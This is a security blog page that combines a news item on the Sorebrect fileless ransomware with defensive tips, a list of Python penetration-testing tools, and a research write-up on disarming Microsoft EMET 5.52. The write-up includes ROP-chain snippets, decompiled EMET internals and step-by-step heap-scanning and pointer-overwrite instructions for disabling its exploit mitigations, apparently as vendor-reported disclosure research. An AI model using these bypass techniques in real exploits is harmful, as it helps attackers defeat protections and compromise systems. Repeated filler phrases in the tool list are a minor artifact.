Search

vulnerablelife

Vulnerable Life by Vulneraman | Cyber Security Blog

New Fileless Ransomware with Code Injection Ability Detected in the Wild

It is no secret that hackers and cybercriminals are becoming dramatically more adept, innovative, and stealthy with each passing day.

While new forms of cybercrime are on the rise, traditional activities seem to be shifting towards more clandestine techniques that come with limitless attack vectors with low detection rates.

Security researchers have recently discovered a new fileless ransomware, dubbed “Sorebrect,” which injects malicious code into a legitimate system process (svchost.exe) on a targeted system and then self-destruct itself in order to evade detection.

Unlike traditional ransomware, Sorebrect has been designed to target enterprise’s servers and endpoint. The injected code then initiates the file encryption process on the local machine and connected network shares.

This fileless ransomware first compromises administrator credentials by brute forcing or some other means and then uses Microsoft’s Sysinternals PsExec command-line utility to encrypt files.
“PsExec can enable attackers to run remotely executed commands, instead of providing and using an entire interactive login session, or manually transferring the malware into a remote machine, like in RDPs,” Trend Micro says.

Sorebrect Also Encrypts Network Shares

Sorebrect also scans the local network for other connected computers with open shares and locks files available on them as well.

“If the share has been set up such that anyone connected to it has read-and-write access to it, the share will also be encrypted,” researchers say.

The nasty ransomware then deletes all event logs (using wevtutil.exe) and shadow copies (using vssadmin) on the infected machine that could provide forensic evidence such as files executed on the system and their timestamps, which makes this threat hard-to-detect.

In addition, Sorebrect uses the Tor network protocol in an attempt to anonymize its communication with its command-and-control (C&C) server, just like almost every other malware.
Sorebrect Ransomware Spreads Worldwide

The Sorebrect fileless ransomware has been designed to target systems from various industries including manufacturing, technology, and telecommunications.

According to Trend Micro, Sorebrect was initially targeting Middle Eastern countries like Kuwait and Lebanon, but from last month, this threat has started infecting people in Canada, China, Croatia, Italy, Japan, Mexico, Russia, Taiwan, and the U.S.

“Given ransomware’s potential impact and profitability, it wouldn’t be a surprise if SOREBRECT turns up in other parts of the world, or even in the cybercriminal underground where it can be peddled as a service,” the researchers note.

This is not the first time when researchers have come across Fileless malware. Two months ago, Talos researchers discovered a DNSMessenger attack that was completely Fileless and used DNS TXT messaging capabilities to compromise systems.

In February, Kaspersky researchers also discovered fileless malware that resided solely in the memory of the compromised computers, which was found targeting banks, telecommunication companies, and government organizations in 40 countries.

Ways to Protect Against Ransomware Attacks

Since the ransomware does not target individuals but organizations, sysadmins and information security professionals can protect themselves by:

Restricting user write permissions: a significant factor that exposes network shares to ransomware by giving users full permissions.

Limiting privilege for PsExec: Limit PsExec and provide permission to run them only to system administrators.

Keeping your system and network up-to-date: Always keep your operating system, software, and other applications updated.

Backing up your data regularly: To always have a tight grip on all your important files and documents, keep a good backup routine in place that makes their copies to an external storage device that is not always connected to your PC.

Adopting a cyber security-aware workforce: Educating your employees about malware, threat vectors and security measure always plays a major role in any organization.

Python for penetration testers


Python for penetration testers

If you are involved in vulnerability research, reverse engineering or penetration testing, I suggest to try out the Python programming language. It has a rich set of useful libraries and programs. This page lists some of them.

Most of the listed tools are written in Python, others are just bindings for existing C libraries, i.e. they make those libraries easily usable from Python programs.



Network

  • Scapy: send, sniff and dissect and forge network packets. Usable interactively or as a library
  • pypcapPcapy and pylibpcap: several different bindings for libpcap
  • libdnet: low-level networking routines, including interface lookup and Ethernet frame transmission
  • dpkt: fast, simple packet creation/parsing, with definitions for the basic TCP/IP protocols
  • Impacket: craft and decode network packets. Includes support for higher-level protocols such as NMB and SMB
  • pynids: libnids wrapper offering sniffing, IP defragmentation, TCP stream reassembly and port scan detection
  • Dirtbags py-pcap: read pcap files without libpcap
  • flowgrep: grep through packet payloads using regular expressions
  • Knock Subdomain Scan, enumerate subdomains on a target domain through a wordlist
  • Mallory, extensible TCP/UDP man-in-the-middle proxy, supports modifying non-standard protocols on the fly
  • Pytbull: flexible IDS/IPS testing framework (shipped with more than 300 tests)

Debugging and reverse engineering

  • Paimei: reverse engineering framework, includes PyDBG, PIDA, pGRAPH
  • Immunity Debugger: scriptable GUI and command line debugger
  • mona.py: PyCommand for Immunity Debugger that replaces and improves on pvefindaddr
  • IDAPython: IDA Pro plugin that integrates the Py programming language, allowing scripts to run in IDA ProPython for penetration testers Python for penetration testers Python for penetration testers Python for penetration testers Python for penetration testers Python for penetration testers Python for penetration testers
  • PyEMU: fully scriptable IA-32 emulator, useful for malware analysis
  • pefile: read and work with Portable Executable (aka PE) files
  • pydasm: interface to the libdasm x86 disassembling library
  • PyDbgEng: wrapper for the Microsoft Windows Debugging Engine
  • uhooker: intercept calls to API calls inside DLLs, and also arbitrary addresses within the executable file in memory
  • diStorm: disassembler library for AMD64, licensed under the BSD license
  • python-ptrace: debugger using ptrace (Linux, BSD and Darwin system call to trace processes)
  • vdb / vtrace: vtrace is a cross-platform process debugging API implemented in python, and vdb is a debugger which uses it
  • Androguard: reverse engineering and analysis of Android applications

Fuzzing

  • Sulley: fuzzer development and fuzz testing framework consisting of multiple extensible components
  • Peach Fuzzing Platform: extensible fuzzing framework for generation and mutation based fuzzing (v2 was written in Python)
  • antiparser: fuzz testing and fault injection API
  • TAOF, (The Art of Fuzzing) including ProxyFuzz, a man-in-the-middle non-deterministic network fuzzer
  • untidy: general purpose XML fuzzer
  • Powerfuzzer: highly automated and fully customizable web fuzzer (HTTP protocol based application fuzzer)
  • SMUDGE
  • Mistress: probe file formats on the fly and protocols with malformed data, based on pre-defined patterns
  • Fuzzbox: multi-codec media fuzzer
  • Forensic Fuzzing Tools: generate fuzzed files, fuzzed file systems, and file systems containing fuzzed files in order to test the robustness of forensics tools and examination systems
  • Windows IPC Fuzzing Tools: tools used to fuzz applications that use Windows Interprocess Communication mechanisms
  • WSBang: perform automated security testing of SOAP based web services
  • Construct: library for parsing and building of data structures (binary or textual). Define your data structures in a declarative manner
  • fuzzer.py (feliam): simple fuzzer by Felipe Andres Manzano
  • Fusil: library used to write fuzzing programs

Web

  • Requests: elegant and simple HTTP library, built for human beings
  • HTTPie: human-friendly cURL-like command line HTTP client
  • ProxMon: processes proxy logs and reports discovered issues
  • WSMap: find web service endpoints and discovery files
  • Twill: browse the Web from a command-line interface. Supports automated Web testing
  • Ghost.py: webkit web client
  • Windmill: web testing tool designed to let you painlessly automate and debug your web application
  • FunkLoad: functional and load web tester
  • spynner: Programmatic web browsing module with Javascript/AJAX support
  • python-spidermonkey: bridge to the Mozilla SpiderMonkey JavaScript engine; allows for the evaluation and calling of Javascript scripts and functions
  • mitmproxy: SSL-capable, intercepting HTTP proxy. Console interface allows traffic flows to be inspected and edited on the fly
  • pathod / pathoc: pathological daemon/client for tormenting HTTP clients and servers

Forensics

  • Volatility: extract digital artifacts from volatile memory (RAM) samples
  • LibForensics: library for developing digital forensics applications
  • TrIDLib, identify file types from their binary signatures. Now includes Python binding
  • aft: Android forensic toolkit

Malware analysis

  • pyew: command line hexadecimal editor and disassembler, mainly to analyze malware
  • Exefilter: filter file formats in e-mails, web pages or files. Detects many common file formats and can remove active content
  • pyClamAV: add virus detection capabilities to your Python software
  • jsunpack-n, generic JavaScript unpacker: emulates browser functionality to detect exploits that target browser and browser plug-in vulnerabilities
  • yara-python: identify and classify malware samples
  • phoneyc: pure honeyclient implementation

PDF

  • Didier Stevens’ PDF tools: analyse, identify and create PDF files (includes PDFiDpdf-parser and make-pdf and mPDF)
  • Opaf: Open PDF Analysis Framework. Converts PDF to an XML tree that can be analyzed and modified.
  • Origapy: wrapper for the Origami Ruby module which sanitizes PDF files
  • pyPDF: pure  PDF toolkit: extract info, spilt, merge, crop, encrypt, decrypt…
  • PDFMiner: extract text from PDF files
  • python-poppler-qt4: binding for the Poppler PDF library, including Qt4 support

Misc

  • InlineEgg: toolbox of classes for writing small assembly programs in Python
  • Exomind: framework for building decorated graphs and developing open-source intelligence modules and ideas, centered on social network services, search engines and instant messaging
  • RevHosts: enumerate virtual hosts for a given IP address
  • simplejson: JSON encoder/decoder, e.g. to use Google’s AJAX API
  • PyMangle: command line tool and a library used to create word lists for use with other penetration testing tools
  • Hachoir: view and edit a binary stream field by field
  • py-mangle: command line tool and a library used to create word lists for use with other penetration testing tools

Other useful libraries and tools

  • IPython: enhanced interactive Python shell with many features for object introspection, system shell access, and its own special command system
  • Beautiful Soup: HTML parser optimized for screen-scraping
  • matplotlib: make 2D plots of arrays
  • Mayavi: 3D scientific data visualization and plotting
  • RTGraph3D: create dynamic graphs in 3D
  • Twisted: event-driven networking engine
  • Suds: lightweight SOAP client for consuming Web Services
  • M2Crypto: most complete OpenSSL wrapper
  • NetworkX: graph library (edges, nodes)
  • Pandas: library providing high-performance, easy-to-use data structures and data analysis tools
  • pyparsing: general parsing module
  • lxml: most feature-rich and easy-to-use library for working with XML and HTML in the Python language
  • Whoosh: fast, featureful full-text indexing and searching library implemented in pure Python
  • Pexpect: control and automate other programs, similar to Don Libes `Expect` system
  • Sikuli, visual technology to search and automate GUIs using screenshots. Scriptable in Jython
  • PyQt and PySide: bindings for the Qt application framework and GUI library

 

Python for penetration testers Python for penetration testers Python for penetration testers Python for penetration testers Python for penetration testers Python for penetration testers

Disarming EMET 5.52: Controlling it all with a single write action

The Enhanced Mitigation Experience Toolkit (EMET) is a software solution from Microsoft that aims at preventing the exploitation of – legacy – software. It is designed to “help prevent attackers from gaining access to computer systems [and] anticipates the most common techniques attackers might use to exploit vulnerabilities in computer systems, and helps protect by diverting, terminating, blocking, and invalidating those actions and techniques.” [1]

This blog post presents a previously undocumented disarming technique that can be used to completely disable EMETs mitigations without requiring large, complicated ROP chains or shellcodes and a way to handle EAF in EMET 5.5x. As a result it will be possible to use a default ROP chain and shellcode generated by Metasploit.

TL;DR: The pointer to the read-only struct that stores all of EMET’s mitigation settings is always retrieved from the writable process heap. Hijacking this pointer only requires read-write access to memory and could enable an adversary to prevent EMET’s anti-ROP mitigations from ever being performed. EAF can optionally be subverted with a single, additional VirtualProtect call.

 

Bypassing tactics

As EMET is probably one of the most well-known exploit mitigation solutions around, it should not come as a surprise that a lot has already been written about EMET or exploit mitigation bypasses in general [3-19]. In general, a few ways can be chosen to bypass EMET:

  • Bypass individual mitigations by crafting a ROP chain and shellcode in such a way that all mitigation checks pass.
  • Jump over hooks or use system calls.
  • Use an implementation flaw to disable one or multiple mitigations.

 

Previous EMET disarming techniques

The third route will be taken in this blog post, as the number of new generic exploit mitigation bypasses is quite limited. Previous research performed by Offensive Security in 2014 gives an idea of what kind of implementation flaws – that could be used to disable EMETs mitigations – plagued it in the past.

EMET 4.1 [3, 4]
EMET relies on a DLL (EMET.dll) that is injected into every protected process to perform its mitigation checks. In EMET 4.1 all mitigation settings were stored as global variables in writable memory in the .data segment of EMET.dll. It should not come as a surprise that these settings could easily be manipulated. Offensive Security disabled the anti-ROP mitigation (ROP-P) switch at offset +0x0007e220 within EMET.dll to prevent all anti-ROP mitigations from ever being performed. Although other variables like the mitigation settings bitmap stored at offset +0x0007e21c could also be manipulated. Disabling EMET 4.1 using this implementation flaw would only require determining the base address of EMET.dll and zero-ing out either the ROP-P switch or the mitigation bitmask.

var emetBase:uint = ...;

// ROP-P switch
pe.writeDword(emetBase+0x7e220, 0x00000000); 

// Mitigation bitmask
//pe.writeDword(emetBase+0x7e21c, 0x00000000);

EMET 5.0 [5]

In EMET 5.0 some things changed. The ROP-P switch would now be stored on the heap instead in a structure that Offensive Security named CONFIG_STRUCT. Moreover, the address of the struct would also be encoded using the EncodePointer API. Offensive Security noticed that the ROP-P switch was still located in writable memory, thus making a new disarming opportunity possible. They obtained the address of the writable CONFIG_STRUCT structure by calling DecodePointer from a ROP chain. Offsec’s technique can be implemented using a ROP chain that calls DecodePointer with the encoded pointer as argument and that zeroes out the CONFIG_STRUCT->ROP-P field.

var ntdllBase:uint = ...;
var emetBase:uint = ...;

var DecodePointer:uint = pe.getProcAddress(ntdllBase, "RtlDecodePointer");
var encodedPtr:uint = pe.readDword(emetBase + 0xaa84c); 

rop[i++] = DecodePointer;     // Call DecodePointer with 'encodedPtr' as argument (CONFIG_STRUCT addr ends in eax)
rop[i++] = add_esp_0c;        // (add esp, 0x0c; ret) Return to 'pop_esi' further on the stack
rop[i++] = encodedPtr;
rop[i++] = 0x41414141;        // Padding
rop[i++] = 0x42424242;
rop[i++] = 0x43434343;
rop[i++] = pop_esi;           // (pop esi; ret) Place ROP-P offset within CONFIG_STRUCT (+0x558) in esi
rop[i++] = 0x558;
rop[i++] = add_eax_esi;       // (add eax, esi; ret) Add +0x558 to the CONFIG_STRUCT address to get the ROP-P swith addr

rop[i++] = pop_edx;           // (pop edx; ret) Place 0x00000000 in edx
rop[i++] = 0x00000000;
rop[i++] = mov_dword_eax_edx; // (mov [eax], edx; ret) Zero out the ROP-P switch

EMET 5.1 [6]
It took another release of EMET to fix this issue. Since EMET 5.1 all mitigation settings are stored in read-only memory. Offensive security used the unhooked version of the NtProtectVirtualMemory API to make the CONFIG_STRUCT structure writable again, even though this is more a limitation of exploit mitigation software in general than another disarming flaw.

EMET 5.2 and 5.5x
As far as the author of this blog could determine only two other disarming techniques for EMET were published since the series of publications from Offensive Security. One relying on functionality in EMET that could be used to remove all hooks [7] and one that hijacked the encoded CONFIG_STRUCT pointer that was stored in the writable .data segment of EMET.dll [8]. A review of Offsec’s Advanced Windows Exploitation (AWE) course indicates that Offensive Security applies a variant of their EMET 5.1 disarming technique to later versions of EMET [9].

 

EMET 5.52 Anti-ROP disarm

Since v5.0 EMET uses two sections of read-only heap memory to store two essential structures. The first one is the EMET_SETTINGS struct, which stores the mitigation settings that can be configured in the Application Configuration window of the EMET GUI.

The second read-only struct – named CONFIG_STRUCT by Offsec – stores a pointer to the EMET_SETTINGS struct, the addresses of all hooked APIs and the addresses of the hook handlers (each hooked API has one).

struct CONFIG_STRUCT {
    LPVOID lpEMET_SETTINGS;
    ... // List of API / Hook handler addresses
};

In EMET 5.52 memory for the EMET_SETTINGS structure is allocated in a function at offset 0x0002139F within EMET.dll. In this function VirtualAlloc allocates 0x2000 bytes of memory for the EMET_SETTINGS struct. Subsequently, RtlAllocateHeap is used to allocate a block of memory of 0x24 bytes from the process heap for a struct that Offsec named EMETd. The EMETd struct stores the size of the EMET_SETTINGS or CONFIG_STRUCT struct, a pointer to one of these two structs and whether either of these structs is writable or not.

struct EMETd {
    LPCRITICAL_SECTION CriticalSection; // Reserved
    DWORD configSize;
    LPVOID lpConfigPtr;                 // EMET_SETTINGS / CONFIG_STRUCT ptr
    DWORD isWritable;
};

Finally, the pointer to the EMETd struct is encoded using EncodePointer and the memory storing the EMET_SETTINGS struct is marked as PAGE_READONLY. In a different function EMET_SETTINGS is filled with the actual mitigation settings that are stored in the Registry.

// Code simplified for clarity
int *init_emet_settings() {
    ...
    SIZE_T dwSize = 0x2000;
    EMET_SETTINGS *es = (EMET_SETTINGS *)VirtualAlloc(NULL, dwSize, 0x1000, PAGE_READWRITE);
    EMETd *emetd = (EMETd *)RtlAllocateHeap(*(HANDLE *)(__readfsdword(0x30u) + 0x18), HEAP_ZERO_MEMORY, 0x24);
    ...
    emetd->lpConfigPtr = EMET_SETTINGS;  // *((DWORD *)emetd + 6)
    emetd->configSize = dwSize           // *((DWORD *)emetd + 7)
    emetd->isWritable = 1;               // *((DWORD *)emetd + 8)

    InitializeCriticalSectionAndSpinCount((LPCRITICAL_SECTION)emetd, 0x8000FA0u);
    dword_100F2B90 = EncodePointer(emetd);
    mark_config_readonly((LPCRITICAL_SECTION)emetd);
    return &dword_100F2B90;
}

In a similar function (at offset 0x00025734 in EMET.dll) 0x1000 bytes of memory is allocated for the CONFIG_STRUCT struct.

// Code simplified for clarity
int *init_config_struct() {
    ...
    SIZE_T dwSize = 0x1000;
    CONFIG_STRUCT *cs = (CONFIG_STRUCT *)VirtualAlloc(NULL, dwSize, 0x1000, PAGE_READWRITE);
    EMETd *emetd = (EMETd *)RtlAllocateHeap(*(HANDLE *)(__readfsdword(0x30u) + 0x18), HEAP_ZERO_MEMORY, 0x24);
    ...
    emetd->lpConfigPtr = CONFIG_STRUCT;  // *((DWORD *)emetd + 6)
    emetd->configSize = dwSize;          // *((DWORD *)emetd + 7)
    emetd->isWritable = 1;               // *((DWORD *)emetd + 8)

    InitializeCriticalSectionAndSpinCount((LPCRITICAL_SECTION)emetd, 0x8000FA0);
    dword_100F2BC8 = EncodePointer(emetd);
    mark_config_readonly((LPCRITICAL_SECTION)emetd);
    return &dword_100F2BC8;
}

In the end the address of the EMET_SETTINGS struct is only retrieved in one of the following two ways in EMET.dll:
1.

EMETd *emetd = (EMETd *)DecodePointer(EMET.dll+0x000f2bc8);
CONFIG_STRUCT *cs = (CONFIG_STRUCT *)emetd->lpConfigPtr;
EMET_SETTINGS *es = (EMET_SETTINGS *)cs->lpEMET_SETTINGS;

2.

EMETd *emetd = (EMETd *)DecodePointer(EMET.dll+0x000f2b90);
EMET_SETTINGS *es = (EMET_SETTINGS *)emetd->lpConfigPtr;

Both the init_emet_settings and the init_config_struct function form the basis of a previously undocumented disarming condition, due to the fact that the two EMETd structs are stored on the process heap. As the process heap has a PAGE_READWRITE protection, any adversary could control the contents of the two EMETd structs. The two structs store a pointer to either the EMET_SETTINGS or the CONFIG_STRUCT struct, making it is possible to control the mitigation settings in one way or another.

Breaking at a DecodePointer(EMET.dll+0x000f2bc8) call in EMET.dll also demonstrates the fact that the EMETd struct is stored in writable heap memory.

Preventing anti-ROP checks

One place where this disarming flaw can be (ab)used is in the function at offset 0x00060d50 within EMET.dll that determines which mitigation checks have to be performed. It should not come as an surprise that the mitigation_handler function relies on data from the CONFIG_STRUCT and EMET_SETTINGS structs.

The function obtains the address of the CONFIG_STRUCT structure by first decoding the address of the second EMETd struct and looking up the CONFIG_STRUCT address stored in the EMETd->lpConfigPtr field. Subsequently, an if-statement checks whether CONFIG_STRUCT->lpEMET_SETTINGS is zero. If it is not zero, the pointer should store the address of the EMET_SETTINGS structure. Finally, EMET_SETTINGS is consulted to find out which mitigation checks have to be performed.

// Code simplified for clarity
int mitigation_handler(int a1) {
    EMETd *emetd = (EMETd *)DecodePointer(dword_100F2BC8);
    CONFIG_STRUCT *cs = (CONFIG_STRUCT *)emetd->lpConfigPtr;

    /*
     * Make this check fail and no anti-ROP mitigation will be performed.
     * This can be done by making sure ((CONFIG_STRUCT *)EMETd->lpConfigPtr)->lpEMET_SETTINGS is zero
     */
    if ( cs->lpEMET_SETTINGS ) {
        EMET_SETTINGS *es = (EMET_SETTINGS *)cs->lpEMET_SETTINGS;
        int mitigation_bitmask = dword_100CC0D8[3 * DecodePointer(*(DWORD *)(a1 + 0x30))];
        if ( !(mitigation_bitmask & 0x100000) || es->MandatoryASLR != 1 || ... ) {
            ...
            if (...) {
                ...
                if ( mitigation_bitmask & 0x40 & es->StackPivot )
                    stackpivot_mitigation(...);
                if ( mitigation_bitmask & 0x10 & es->MemProt )
                    memprot_mitigation(...);
                if ( mitigation_bitmask & 0x100 & es->BannedFunctions )
                    bannedfunctions_mitigation(...);
                if ( *(BYTE *)(es + 0x44) ) {
                    if ( mitigation_bitmask & 0x400 & es->Caller )
                        caller_mitigation(...);
                    if ( mitigation_bitmask & 0x1000 & es->SimExecFlow )
                        simexecflow_mitigation(...);
                }
                if ( mitigation_bitmask & 0x4 & es->LoadLib )
                    loadlib_mitigation(...);
                if ( mitigation_bitmask & 0x4000 & es->ASR & !asr_mitigation(...) )
                    ...
            }
            ...
            if ( mitigation_bitmask & 0x10000 & es->EAF+ )
                eafplus_rop_mitigation(...);
            ...
        } else { ... }
    } else { ... }
    return ...;
}

As mentioned earlier, everything stored in one of the two EMETd structs, can be controlled from an exploit, if we make sure that ((CONFIG_STRUCT *)EMETd->lpConfigPtr)->lpEMET_SETTINGS is zero, then no single anti-ROP mitigation check will ever be performed.

This can be achieved by writing the address of an empty dword to EMETd->lpConfigPtr. If 0x00000000 is for example stored at the address 0x0c2c1200, then writing 0x0c2c1200 to EMETd->lpConfigPtr on the process heap, ensures that all anti-ROP mitigations will be skipped.

 

Exploitation

Locating the EMETd struct on the process heap is the trickiest part of the exploitation process. The location of the process heap cannot be guessed due to the randomized allocation of heap memory. Two routes can be taken to locate the EMETd struct:

  • Invoke DecodePointer(EMET.dll+0x000f2bc8) using a ROP chain
  • Perform a series of read operations

Simply calling DecodePointer(EMET.dll+0x000f2bc8) would require multiple ROP gadgets, therefore I will only focus on the route that relies on a series of read operations. This approach requires full read access to the process’ virtual address space, although nowadays most (browser) exploits will already have this ability to bypass ASLR.

Scanning the process heap

As seen in the figure below, the values 0x1000, 0x0 and 0x0 can be found on the process heap right after the EMET->lpConfigPtr field.

These values can function as markers when scanning the process heap. When the location of the EMETd->lpConfigPtr field has been determined, it can be replaced with the address of a location that stores zero. Although this all first requires knowing the location of the process heap.

Locating the process heap
The location of the process heap does not appear to be reliably guessable due to the randomized allocation of heap memory, a reference to the process heap can still be obtained from the PEB via _PEB->ProcessHeap.

Locating the PEB
Searching for references of the PEB reveals that, at least on 32 and 64 bit versions of Windows 7, the .data of ntdll.dll stores the addresses of the following fields from the PEB:
⦁ _PEB->TlsBitmapBits (PEB+0x44)
⦁ _PEB->TlsExpansionBitmapBits (PEB+0x154)
⦁ _PEB->FlsBitmapBits (PEB+0x21c)

Summary
Combining the steps mentioned above results in a disarming solution that only requires read-write access to memory, that does not touch EMET.dll and that only relies on writing a single dword to memory. To summarize, this flaw can be used to prevent most of EMETs mitigations in the following way:

  1. Determine the location of the PEB using addresses of several fields of the PEB that are stored in the .data segment of ntdll.dll
  2. Get the address of the process heap from _PEB->ProcessHeap
  3. Scan the process heap for the EMETd struct
  4. Overwrite the EMETd->lpConfigPtr field on the process heap with with the address of a location that stores zero.

After the final write action, it has been ensured that all anti-ROP mitigations will be skipped. How about the other mitigations?

 

Heap Spray Allocation

By default, EMET pre-allocates several regions of memory based on a specified list of addresses (like 0x0a0a0a0a and 0x0c0c0c0c) that might be used by off-the-shelf exploits that contain a heap spray. This mitigation does not form a barrier as a ROP chain and shellcode can be stored at other addresses on the heap.

 

EAF+

As just about all modern browsers should be properly ASLR’ed at this point in time, bypassing ASLR would require some kind an info leak. This could either require an additional out-of-bounds (OOB) read vulnerability or a vulnerability that can be used to create a read-write primitive to the virtual address space of the exploited process. The second way seems to have become the standard way. Creating this RW primitive can for example be achieved by corrupting the length field of an array object [2]. After this RW primitive has been created, the content of the process’ dlls can be parsed by the exploit in search of APIs like VirtualProtect and ROP gadgets. EAF+ is designed to complicate this type of memory read-outs [1]. EAF+ does not prevent the corruption of the length field of an array object, but should make it harder for an attacker to obtain useful information from loaded dlls. Of the four sub-mitigations of EAF+, the following two are most relevant:

  • [Detection of] memory read access to export table pointers of KERNEL32, NTDLL and KERNELBASE originated from specific modules
  • [Detection of] memory read accesses to the MZ/PE header of specific modules [1]

Unfortunately, EAF+ appears to be malfunctioning since EMET 5.5, therefore there is no need to bypass it. If it would have worked properly, it would have been a powerful mitigation. The author of this blog post is not aware of any previous publicly documented EAF+ bypasses that do not rely on hardcoding offsets.

 

Export Address Table Access Filtering (EAF)

The task of EAF is to disrupt shellcodes that parse the export table of certain modules in search of certain APIs [1]. In earlier versions of EMET, hardware breakpoints placed on the IMAGE_EXPORT_DIRECTORY.AddressOfFunctions field in kernel32.dll, kernelbase.dll and ntdll.dll would be used to detect these actions. In EMET 5.5x, EAF appears to use a guard page instead (even though this is not documented anywhere).

In EMET 5.5 and 5.51 this guard page is placed on the Export Directory of ntdll.dll.

Whereas in EMET 5.52 it can be found on the MZ/PE header of ntdll.dll.

As no single anti-ROP mitigations will be performed at this point, VirtualProtect can be called from a standard ROP chain to change the protection of the guard page. This subverts the guard page and effectively prevents EAF from functioning, making it is possible to execute a standard Metasploit shellcode.

// NTDLL.dll MZ/PE header protection: PAGE_READONLY + PAGE_GUARD --> PAGE_READONLY
rop[i++] = VirtualProtect; // Call VirtualProtect
rop[i++] = ...;            // Return address

// VirtualProtect() arguments
rop[i++] = ntdllBase       // lpAddress
rop[i++] = 0x1000;         // dwSize
rop[i++] = 0x2;            // flNewProtect (PAGE_READONLY)
rop[i++] = evAddr + 0x20;  // lpflOldProtect

The choice was made to use an unmodified shellcode generated by Metasploit, this has as disadvantage that it will be caught by EAF unless the mitigation gets disabled. Alternatively, a shellcode may be used that extracts addresses of APIs from the Import Address Table (IAT) instead of the Export Address Table (EAT). Previous research indicates that EAF will not prevent the execution of this kind of shellcodes [15, 18], although this has not been tested by the author of this blog.

 

Reference list

[1] “EMET 5.52 User Guide” by Microsoft, https://www.microsoft.com/en-us/download/details.aspx?id=54265
[2] “ASLR Bypass Apocalypse in Recent Zero-Day Exploits” by Xiaobo Chen (FireEye), https://www.fireeye.com/blog/threat-research/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html

Previous EMET disarming flaws
[3] “Fun with Dr. Brown” by Spencer McIntyre (SecureState), http://www.slideshare.net/zeroSteiner/fun-with-dr-brown
[4] “Disarming Enhanced Mitigation Experience Toolkit (EMET)” by Offensive Security, https://www.offensive-security.com/vulndev/disarming-enhanced-mitigation-experience-toolkit-emet/
[5] “Disarming EMET v5.0” by Offensive Security, https://www.offensive-security.com/vulndev/disarming-emet-v5-0/
[6] “Disarming and Bypassing EMET 5.1” by Offensive Security, https://www.offensive-security.com/vulndev/disarming-and-bypassing-emet-5-1/
[7] “Using EMET to disable EMET” by Abdulellah Alsaheel (Mandiant) and Raghav Pande (FireEye), https://www.fireeye.com/blog/threat-research/2016/02/using_emet_to_disabl.html
[8] “Look Mom, I don’t use shellcode” by Moritz Jodeit (Blue Frost Security Research Lab),
https://labs.bluefrostsecurity.de/files/Look_Mom_I_Dont_Use_Shellcode-WP.pdf
[9] “Our pentester on tour: Advanced Windows Exploitation course review” by Wesley Neelen (DearBytes), https://www.dearbytes.com/blog/advanced-windows-exploitation-review/

Previous EMET mitigation bypasses
[10] “Defeating EMET 5.2 & 5.5” by Raghav Pande, https://casual-scrutiny.blogspot.com/2015/03/defeating-emet-52.html
[11] “Defeating EMET Protections (2)” by Raghav Pande, https://casual-scrutiny.blogspot.com/2015/03/defeating-emet-52-protections-2.html
[12] “WoW64 and So Can You – Bypassing EMET With a Single Instruction” by Darren Kemp and Mikhail Davidov (Duo Security), https://duo.com/assets/pdf/wow-64-and-so-can-you.pdf
[13] “Bypassing EMET 4.1” by Jared DeMott (Bromium), https://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf
[14] “Mitigating Wow64 Exploit Attacks” by SurfRight, https://hitmanpro.wordpress.com/2015/11/10/mitigating-wow64-exploit-attacks/
[15] “Teaching Old Shellcode New Tricks” by Josh Pitts, https://recon.cx/2017/brussels/resources/slides/RECON-BRX-2017-Teaching_Old_Shellcode_New_Tricks.pdf

Generic (partial) ITW exploit mitigation bypasses
[16] “Deep Dive into ROP Payload Analysis” by Sudeep Singh, https://dl.packetstormsecurity.net/papers/general/rop-deepdive.pdf
[17] “How the Wolf attacked and outsmarted defenses with CVE-2015-3113” by SurfRight, https://hitmanpro.wordpress.com/2015/07/02/how-apt3-evaded-anti-exploits-with-cve-2015-3113/
[18] “CVE-2015-2545 ITW EMET Evasion” by Raghav Pande, https://casual-scrutiny.blogspot.com/2016/02/cve-2015-2545-itw-emet-evasion.html
[19] “Angler Exploit Kit evading EMET” by Raghav Pande and Amit Malik (FireEye), https://www.fireeye.com/blog/threat-research/2016/06/angler_exploit_kite.html

 

Appendix – Timeline

May 2016 Disarming flaw reported to MSRC
1 August 2016 EMET 5.51 released (flaw unfixed)
14 November 2016 EMET 5.52 released (flaw unfixed)
January 2017 Last contact with MSRC (“This issue should be addressed in [the next] version whenever it is finally released”)

 

Appendix – Pre-allocated heap pages

Specified address Pre-allocated range
0x04040404 0x04040000 – 0x04042000
0x05050505 0x05050000 – 0x05052000
0x06060606 0x06060000 – 0x06062000
0x07070707 0x07070000 – 0x07072000
0x08080808 0x08080000 – 0x08082000
0x09090909 0x09090000 – 0x09092000
0x0a040a04 0x0a040000 – 0x0a042000
0x0a0a0a0a 0x0a0a0000 – 0x0a0a2000
0x0b0b0b0b 0x0b0b0000 – 0x0b0b2000
0x0c0c0c0c 0x0c0c0000 – 0x0c0c2000
0x0d0d0d0d 0x0d0d0000 – 0x0d0d2000
0x0e0e0e0e 0x0e0e0000 – 0x0e0e2000
0x14141414 0x14140000 – 0x14143000
0x20202020 0x20200000 – 0x20204000

 

Appendix – Hooked functions

kernel32!CreateFileA
kernel32!CreateFileMappingA
kernel32!CreateFileMappingWStub
kernel32!CreateFileWImplementation
kernel32!CreateProcessA
kernel32!CreateProcessInternalA
kernel32!CreateProcessInternalW
kernel32!CreateProcessW
kernel32!CreateRemoteThreadStub
kernel32!GetProcessDEPPolicy
kernel32!HeapCreateStub
kernel32!LoadLibraryA
kernel32!LoadLibraryExAStub
kernel32!LoadLibraryExWStub
kernel32!LoadLibraryW
kernel32!MapViewOfFileExStub
kernel32!MapViewOfFileStub
kernel32!SetProcessDEPPolicy
kernel32!VirtualAllocExStub
kernel32!VirtualAllocStub
kernel32!VirtualProtectExStub
kernel32!VirtualProtectStub
kernel32!WinExec
kernel32!WriteProcessMemoryStub
KERNELBASE!CreateFileMappingNumaW
KERNELBASE!CreateFileMappingW
KERNELBASE!CreateFileW
KERNELBASE!CreateRemoteThreadEx
KERNELBASE!CreateRemoteThreadEx
KERNELBASE!HeapCreate
KERNELBASE!LoadLibraryExA
KERNELBASE!LoadLibraryExW
KERNELBASE!MapViewOfFile
KERNELBASE!MapViewOfFileEx
KERNELBASE!VirtualAlloc
KERNELBASE!VirtualAllocEx
KERNELBASE!VirtualProtect
KERNELBASE!VirtualProtectEx
KERNELBASE!WriteProcessMemory
ntdll!LdrHotPatchRoutine
ntdll!LdrLoadDll
ntdll!NtCreateFile
ntdll!NtCreateUserProcess
ntdll!NtProtectVirtualMemory
ntdll!NtUnmapViewOfSection
ntdll!RtlAddVectoredExceptionHandler
ntdll!RtlCreateHeap
